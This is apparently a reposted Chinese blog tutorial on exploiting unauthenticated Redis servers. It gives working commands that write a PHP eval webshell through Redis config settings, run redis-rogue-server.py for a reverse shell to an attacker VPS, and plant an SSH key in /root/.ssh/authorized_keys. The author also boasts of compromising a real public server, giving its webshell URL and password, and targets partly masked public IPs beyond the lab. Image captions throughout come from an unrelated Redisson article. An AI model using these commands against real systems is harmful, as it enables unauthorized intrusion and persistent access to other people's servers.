漏洞环境

Ubuntu环境链接:https://pan.baidu.com/s/1crfnHpc-XGE23bFXSDhM0g提取码:nlszKali环境链接:https://pan.baidu.com/s/1RgN8A6k6t5QXaHpJewFg-A提取码:t6u1Ubuntu作为靶机Kali用来攻击靶机Redis环境http://download.redis.io/releases/redis-3.2.11.tar.gz

漏洞危害

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作,可往网站的根目录写入后门文件进而get shell,也可以通过上传exp来进行反弹shell进而命令执行。攻击者也可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应的私钥直接使用ssh服务登录目标服务器实现免密登陆。(即未授权访问,get shell,反弹shell,免密登陆)

漏洞复现

环境搭建:ubuntu和kali同时进行

一:安装redis服务

从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

RedissonClient 如何close redis 关闭连接_ubuntu

RedissonClient 如何close redis 关闭连接_根目录_02

下载完成后,解压压缩包
tar xzf redis-3.2.11.tar.gz
然后进入解压后的目录:cd redis-3.2.11,输入make并执行

出现如下即编译成功:

RedissonClient 如何close redis 关闭连接_redis_03

RedissonClient 如何close redis 关闭连接_redis_04

make结束后,进入src目录:cd src,切换成root权限,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

RedissonClient 如何close redis 关闭连接_redis_05

RedissonClient 如何close redis 关闭连接_redis_06

启动服务redis-server

RedissonClient 如何close redis 关闭连接_redis_07

RedissonClient 如何close redis 关闭连接_根目录_08

此时我们再检查下/usr/bin目录下是否有redis-cli和redis-server:

ls /usr/bin | grep redis

RedissonClient 如何close redis 关闭连接_redis_09

RedissonClient 如何close redis 关闭连接_redis_10

返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下

cp redis.conf /etc

RedissonClient 如何close redis 关闭连接_redis_11

RedissonClient 如何close redis 关闭连接_redis_12

编辑etc中的redis配置文件redis.conf
gedit /etc/redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务: 加个#即可

RedissonClient 如何close redis 关闭连接_ubuntu_13

RedissonClient 如何close redis 关闭连接_ubuntu_14

关闭保护模式,允许远程连接redis服务:将yes改为no

RedissonClient 如何close redis 关闭连接_redis_15

RedissonClient 如何close redis 关闭连接_ubuntu_16

然后重启这俩虚拟机,开启redis服务,到这里即可去验证redis未授权访问、get shell和反弹shell漏洞了。

验证成功,我们来看免密登陆漏洞

二:安装ssh服务

由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动

RedissonClient 如何close redis 关闭连接_根目录_17

RedissonClient 如何close redis 关闭连接_redis_18

说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务:

sudo apt-get install openssh-server

再次运行以下命令确认ssh服务是否开启:

ps -e | ssh

然后ubuntu上创建一个文件

mkdir /root/.ssh

RedissonClient 如何close redis 关闭连接_redis_19

然后去验证免密登陆漏洞

三:漏洞复现利用场景

Redis未授权访问

Ubuntu:192.168.237.140

Kali:192.168.237.141

使用kali去攻击ubuntu(一定记住修改完redis的配置文件要重启这俩虚拟机,开启redis服务)

./redis-cli -h 192.168.237.140

RedissonClient 如何close redis 关闭连接_ubuntu_20

Get shell

使用kali去攻击ubuntu

先查看ubuntu上的网站的根目录

config get dir

RedissonClient 如何close redis 关闭连接_根目录_21

假如红框内的路径为网站的根目录(网站根目录还是比较难找的,可以使用网站的phpinfo或者利用报错信息爆路径以及js包路径泄露等方式)

我们把shell写入红框的路径下

config set dir /home/zhang/  #靶机 Web 网站的目录config set db filename zjt.php   # 写入的文件名set webshell  "<?php @eval($_POST[1])?>"   save    # 保存

RedissonClient 如何close redis 关闭连接_根目录_22

同时也可以查看ubuntu验证一下是否写入成功

RedissonClient 如何close redis 关闭连接_根目录_23

然后直接连接即可

哈哈哈  比较幸运,下午刚发完推文晚上就碰到一个实战,成功get shell

RedissonClient 如何close redis 关闭连接_根目录_24

此时马儿已经写入到网站的根目录下了,未授权访问的端口是41436,但是网站对应的端口是41435所以连接马儿的时候也是使用的网站对应的端口41435

http://119.3.187.27:41435/shell.php口令为cmd

RedissonClient 如何close redis 关闭连接_ubuntu_25

反弹shell执行系统命令

Exp链接:https://pan.baidu.com/s/158yZDDMFPgOyIbd1QOVTuw 提取码:55u3

目标站点:

152.136.107.*

Vps:

65.49.206.*

首先把exp的文件下载解压

RedissonClient 如何close redis 关闭连接_ubuntu_26

登录vps新建文件夹4-5进入目录4-5然后使用rz命令把箭头指向的这俩文件传入到vps的4-5目录下

RedissonClient 如何close redis 关闭连接_根目录_27

执行语句(7141端口就是任意选取的vps的监听端口,随意设置就行)python3 redis-rogue-server.py --rhost 152.136.107.* --rport 6379 --lhost 65.49.206.* --lport 7141得到shell执行命令whoami、ls等

RedissonClient 如何close redis 关闭连接_根目录_28

免密登陆

首先在kali上生成ssh公钥和私钥,密码设置为空

RedissonClient 如何close redis 关闭连接_ubuntu_29

进入.ssh目录将生成的公钥保存到ssh.txt

RedissonClient 如何close redis 关闭连接_ubuntu_30

将ssh.txt通过redis未授权访问漏洞写入ubuntu

这里需要注意箭头指向的test这个test不是随便写的,是未授权访问漏洞执行keys * 得到的,得到的是什么用户名这里就写什么用户名

RedissonClient 如何close redis 关闭连接_redis_31

Kali使用未授权访问漏洞执行命令config get dir得到redis备份的路径

RedissonClient 如何close redis 关闭连接_redis_32

更改备份路径为/root/.ssh/

RedissonClient 如何close redis 关闭连接_根目录_33

设置上传公钥的备份文件名字为authorized_keys检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上

RedissonClient 如何close redis 关闭连接_根目录_34

可以登录ubuntu进行验证,写入成功

RedissonClient 如何close redis 关闭连接_redis_35

使用kali免密登陆到ubuntu 

RedissonClient 如何close redis 关闭连接_redis_36

登录成功